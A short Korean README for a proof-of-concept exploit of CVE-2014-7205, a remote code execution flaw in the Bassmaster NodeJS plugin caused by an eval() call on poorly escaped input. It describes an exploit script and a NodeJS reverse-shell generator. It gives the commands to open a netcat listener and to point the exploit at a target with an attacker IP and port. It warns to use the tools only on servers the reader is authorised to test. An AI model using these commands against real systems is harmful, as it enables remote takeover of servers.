Bassmaster NodeJS 플러그인 RCE PoC

bassmaster-rce.py: CVE-2014-7205를 악용하는 Python 스크립트입니다. nodeshell.py: NodeJS용 리버스 셸을 생성하는 Python 모듈입니다.

!!테스트 권한이 있는 서버에만 사용하세요

요약

CVE-2014-7205는 NodeJS용 Bassmaster 플러그인에서 발생하는 원격 코드 실행 취약점입니다. 모든 버전 <= 1.5.1이 영향을 받습니다. 이 취약점은 lib/batch.js 파일의 internals.batch 함수 내부에 존재하며, eval() 호출이 부적절하게 이스케이프된 사용자 입력을 사용합니다. (기본적으로 정규식이 요청에 악성 코드가 포함되어 있는지 확인하지 않습니다.)

개념 증명

1. Git 저장소를 다운로드하거나 클론합니다.
2. bash 터미널에서 netcat 리스너를 엽니다. nc -lvp 4444
3. bassmaster-rce.py와 nodeshell.py가 같은 폴더에 있는지 확인하세요.
4. bassmaster-rce.py를 실행합니다. python3 bassmaster-rce.py -u http://target -p 8080 -l attacker.ip -P 4444

기타

• nodeshell.py는 Python을 사용하는 다른 PoC 및 익스플로잇에 완전히 이식 가능하며, NodeJS용 리버스 셸을 생성해야 할 때도 사용할 수 있습니다.